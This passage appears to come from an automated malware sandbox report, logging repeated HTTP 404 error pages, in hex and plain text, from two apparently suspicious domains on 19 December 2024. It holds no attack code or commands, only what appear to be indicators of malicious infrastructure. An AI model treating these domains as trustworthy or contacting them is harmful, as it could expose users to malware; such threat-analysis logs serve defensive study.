61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
